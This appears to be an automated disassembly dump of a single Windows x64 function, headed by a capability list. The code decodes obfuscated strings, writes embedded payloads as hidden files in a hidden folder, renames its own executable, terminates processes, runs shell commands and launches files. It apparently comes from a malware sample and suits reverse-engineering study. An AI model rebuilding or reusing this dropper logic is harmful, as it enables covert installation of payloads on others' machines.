Function at 0x140081d70
Capabilities:
Create directory
Create process on windows
Create thread
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x320]
sub rsp, 0x420
mov rax, qword [0x140303960]
xor rax, rsp
mov qword [rbp + 0x310], rax
call fcn.14007e9d0
mov dword [rbp - 0x80], 0xd0a5d6d5
mov word [rbp - 0x7c], 0x100
lea rcx, [rbp - 0x80]
call fcn.1400871a0
lea r8, [0x1406c7180]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x28]
call fcn.14008b3d0
cmp qword [rax + 0x18], 0x10
jb 0x140081dd9
mov rax, qword [rax]
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rsi + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1406c9e88], rax
lea rcx, [rbp + 0x28]
call fcn.140088520
cmp qword [0x1406c9e88], 0xffffffffffffffff
jne 0x140082b3c
cmp byte [0x1406c9df9], sil
jne 0x140081ef9
lea edx, [rsi + 0xf]
lea ecx, [rsi + 5]
call fcn.1400817d0
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140081630
mov rdx, rax
lea rcx, [0x1406c7260]
call fcn.140088580
lea rcx, [rsp + 0x40]
call fcn.140088520
mov dword [rsp + 0x40], 0xe9f3efa7
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400871a0
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x140081e81
lea rdx, [rsp + 0x40]
lea rcx, [0x1406c7260]
call fcn.140089250
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x40]
call fcn.140088640
lea rdx, [0x1406c7260]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x1406c7260]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
lea rcx, [rsp + 0x40]
call fcn.140088520
mov dword [rsp + 0x40], 0xfcf8efdb
mov dword [rsp + 0x44], 0xa0e1f9ec
mov dword [rsp + 0x48], 0x100a3a1
lea rcx, [rsp + 0x40]
call fcn.140086f10
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14008200f
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140081b40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [0x1402e22e0]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [0x1402e2500]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [0x1402e20b0]
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [0x1402e1eb0]
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmm0, xmmword [0x1402e24d0]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [0x1402e21a0]
movdqa xmmword [rbp + 0x140], xmm1
movdqa xmm0, xmmword [0x1402e2150]
movdqa xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1402e1f20]
movdqa xmmword [rbp + 0x160], xmm1
mov word [rbp + 0x170], 0x100
lea rcx, [0x1406c71a0]
call fcn.1400883a0
mov rbx, rax
lea rcx, [rbp + 0xf0]
call fcn.140082ba0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x40], 0xe9d8cfcb
mov dword [rsp + 0x44], 0xf3e6f8ff
mov dword [rsp + 0x48], 0xecf6bcf4
mov word [rsp + 0x4c], 0xf0
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140086ee0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140088640
mov rcx, rax
call fcn.14007eb10
test eax, eax
je 0x140082125
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081d00
movdqa xmm0, xmmword [0x1402e2290]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [0x1402e23e0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [0x1402e2180]
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [0x1402e2250]
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmm0, xmmword [0x1402e2200]
movdqa xmmword [rbp + 0x130], xmm0
mov word [rbp + 0x140], 0xf7
mov byte [rbp + 0x142], 1
lea rcx, [rbp + 0xf0]
call fcn.140086eb0
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008bbd0
mov rcx, rax
lea rdx, [0x14008bda0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0xfffeebf9
mov word [rsp + 0x44], 0xe8
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140086fd0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x140082b3e
movdqa xmm0, xmmword [0x1402e2420]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0xfc
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.140086e80
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140088640
mov rcx, rax
call fcn.14007eb10
test eax, eax
je 0x1400821ee
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081d00
movdqa xmm0, xmmword [0x1402e22a0]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [0x1402e23a0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [0x1402e23b0]
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [0x1402e21e0]
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmm0, xmmword [0x1402e2270]
movdqa xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x140], 0xb9bfbbb6
mov dword [rbp + 0x144], 0x100f0af
lea rcx, [rbp + 0xf0]
call fcn.140086e50
lea rdx, [rbp + 0xf0]
jmp 0x1400820d9
movdqa xmm0, xmmword [0x1402e23d0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xe4feb4ca
mov word [rsp + 0x54], 0xf8
mov byte [rsp + 0x56], 1
lea rcx, [rsp + 0x40]
call fcn.140086e20
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140088640
mov rcx, rax
call fcn.14007eb10
test eax, eax
je 0x1400822c9
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081d00
movdqa xmm0, xmmword [0x1402e22b0]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [0x1402e23a0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [0x1402e2390]
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [0x1402e2440]
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmm0, xmmword [0x1402e2230]
movdqa xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x140], 0xb0fbbfb1
mov dword [rbp + 0x144], 0x85bbbfb2
mov dword [rbp + 0x148], 0x100cc93
lea rcx, [rbp + 0xf0]
call fcn.140086df0
lea rdx, [rbp + 0xf0]
jmp 0x1400820d9
mov dword [rsp + 0x40], 0x100b0ca
lea rcx, [rsp + 0x40]
call fcn.140081b60
mov rdx, rax
lea rcx, [0x1406c6f40]
call fcn.140088400
xor ecx, ecx
call fcn.14007c310
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
nop
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c6fa0]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c7200]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c6e60]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c6e40]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c6ee0]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c7080]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c7060]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c6fc0]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c7100]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c6f00]
call fcn.1400883b0
call fcn.140081b90
movzx edx, al
lea rcx, [0x1406c7120]
call fcn.1400883b0
sub rbx, 1
jne 0x140082300
lea rcx, [rbp + 0xa8]
call fcn.140088680
nop
lea rcx, [rbp + 0xc8]
call fcn.140088680
nop
lea edx, [rbx + 0xa]
lea ecx, [rbx + 5]
call fcn.1400817d0
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.140081630
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.140088580
lea rcx, [rsp + 0x60]
call fcn.140088520
lea edx, [rbx + 6]
lea ecx, [rbx + 2]
call fcn.1400817d0
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.140081700
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140088580
lea rcx, [rsp + 0x60]
call fcn.140088520
mov word [rsp + 0x40], Ordinal_217
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140082c00
mov rdx, rax
lea rcx, [0x1406c6f40]
call fcn.140088400
lea rdx, [rbp + 0xa8]
lea rcx, [0x1406c6f40]
call fcn.140088490
lea rdx, [rbp + 0xc8]
lea rcx, [0x1406c6f40]
call fcn.140088490
lea rcx, [0x1406c6f40]
call fcn.1400883a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [0x1406c6f40]
call fcn.1400883a0
mov rcx, rax
lea edx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], Ordinal_217
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140082c00
mov rdx, rax
lea rcx, [0x1406c6f40]
call fcn.140088400
lea rcx, [rbp + 0x48]
call fcn.140088680
nop
lea rdx, [0x1406c7120]
lea rcx, [rbp + 0x48]
call fcn.140088490
mov dword [rsp + 0x40], 0xfff2f9a7
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140080b70
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140088400
lea rcx, [rbp + 8]
call fcn.140088680
nop
lea rdx, [0x1406c6fa0]
lea rcx, [rbp + 8]
call fcn.140088490
mov dword [rsp + 0x40], 0xe9f3efa7
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140080b70
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140088400
lea r8, [rbp + 0x48]
lea rdx, [0x1406c6f40]
lea rcx, [rbp - 0x58]
call fcn.14008bde0
nop
lea rcx, [rbp - 0x58]
call fcn.1400883a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 8]
lea rdx, [0x1406c6f40]
lea rcx, [rbp - 0x78]
call fcn.14008bde0
nop
lea rcx, [rbp - 0x78]
call fcn.1400883a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x2f0c60
mov ecx, 0x2e2200
call fcn.1400817d0
mov edi, eax
lea rcx, [rbp - 0x58]
call fcn.1400883a0
mov rcx, rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x80]
mov r8d, edi
lea rdx, [0x140303a20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x58]
call fcn.1400883a0
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x78]
call fcn.1400883a0
mov rcx, rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x80]
mov r8d, 0x1a400
lea rdx, [0x1406aca20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x78]
call fcn.1400883a0
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x18]
call fcn.140088680
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x18]
call fcn.140088490
mov word [rsp + 0x40], 0xa9
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140082c00
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140088400
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x18]
call fcn.140088490
lea rcx, [rbp - 0x18]
call fcn.1400883a0
mov rcx, rax
call fcn.140081a90
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x60]
call fcn.1400886a0
mov rcx, rax
call fcn.14007eb10
mov rbx, rax
test eax, eax
je 0x140082773
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x78]
call fcn.1400883a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 0x38]
call fcn.140088680
nop
mov dword [rsp + 0x40], 0xefabe9fa
mov dword [rsp + 0x44], 0xe4eeebff
mov dword [rsp + 0x48], 0x100b2f4
lea rcx, [rsp + 0x40]
call fcn.140082b70
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140088400
lea rdx, [0x1406c7180]
lea rcx, [rbp - 0x38]
call fcn.140088490
mov dword [rsp + 0x40], 0xe2e2e8a9
mov dword [rsp + 0x44], 0xf8fbeffd
mov dword [rsp + 0x48], 0x100b2ac
lea rcx, [rsp + 0x40]
call fcn.140082b70
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140088400
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x38]
call fcn.140088490
mov dword [rsp + 0x40], 0xfcf2fea9
mov dword [rsp + 0x44], 0xfbafb3e8
mov dword [rsp + 0x48], 0xf1fde0f4
mov word [rsp + 0x4c], 0xf9
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140082bd0
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140088400
mov dword [rsp + 0x40], 0xffabe9fa
mov dword [rsp + 0x44], 0xb0ffe1f9
mov dword [rsp + 0x48], 0xf1f0f3f7
mov dword [rsp + 0x4c], 0x100e2fc
lea rcx, [rsp + 0x40]
call fcn.14007fc20
mov rcx, rax
call fcn.140081a90
movdqa xmm0, xmmword [0x1402e24b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140082c20
mov rcx, rax
call fcn.140081a90
mov dword [rsp + 0x40], 0xffabe9fa
mov dword [rsp + 0x44], 0xb0ffe1f9
mov dword [rsp + 0x48], 0xf8f5e7
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140081cd0
mov rcx, rax
call fcn.140081a90
mov dword [rsp + 0x40], 0xe8abe9fa
mov dword [rsp + 0x44], 0xe4eae2e8
mov dword [rsp + 0x48], 0xf3e5b2f4
mov word [rsp + 0x4c], 0xfe
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140082bd0
mov rcx, rax
call fcn.140081a90
lea rcx, [rbp + 0x68]
call fcn.140088680
nop
mov dword [rsp + 0x40], 0xffabe9fa
mov dword [rsp + 0x44], 0xb0ffe1f9
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.140082c50
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140088400
lea rdx, [0x1406c7180]
lea rcx, [rbp + 0x68]
call fcn.140088490
lea rcx, [rbp + 0x88]
call fcn.140088680
nop
mov dword [rsp + 0x40], 0xe8abe9fa
mov dword [rsp + 0x44], 0xe4eae2e8
mov dword [rsp + 0x48], 0x100b2f4
lea rcx, [rsp + 0x40]
call fcn.140082b70
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.140088400
lea rdx, [0x1406c7180]
lea rcx, [rbp + 0x88]
call fcn.140088490
lea rcx, [rbp + 0x28]
call fcn.140088680
nop
mov dword [rsp + 0x40], 0xffabe9fa
mov dword [rsp + 0x44], 0xe4fdeff9
mov word [rsp + 0x48], 0xb1
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.140080010
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.140088400
lea rdx, [0x1406c7180]
lea rcx, [rbp + 0x28]
call fcn.140088490
lea rcx, [rbp + 0x68]
call fcn.1400883a0
mov rcx, rax
call fcn.140081a90
lea rcx, [rbp + 0x88]
call fcn.1400883a0
mov rcx, rax
call fcn.140081a90
lea rcx, [rbp - 0x58]
call fcn.140080fa0
mov r8d, 0x104
lea rdx, [rbp + 0x200]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x200]
call fcn.14007c140
inc rax
mov qword [0x1406c9df0], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x78]
call fcn.1400883a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x78]
call fcn.1400883a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x1406c9df9]
cmp al, 1
jne 0x140082ade
mov dword [rsp + 0x40], 0xe2eefae6
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140080b70
mov r8, qword [0x1406c9df0]
jmp 0x140082b0d
test al, al
jne 0x140082b28
mov dword [rsp + 0x40], 0xe2eefae6
mov word [rsp + 0x44], 0x100
lea rcx, [0x1406c7260]
call fcn.1400883a0
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140080b70
mov r8, rbx
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.1402376c0
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret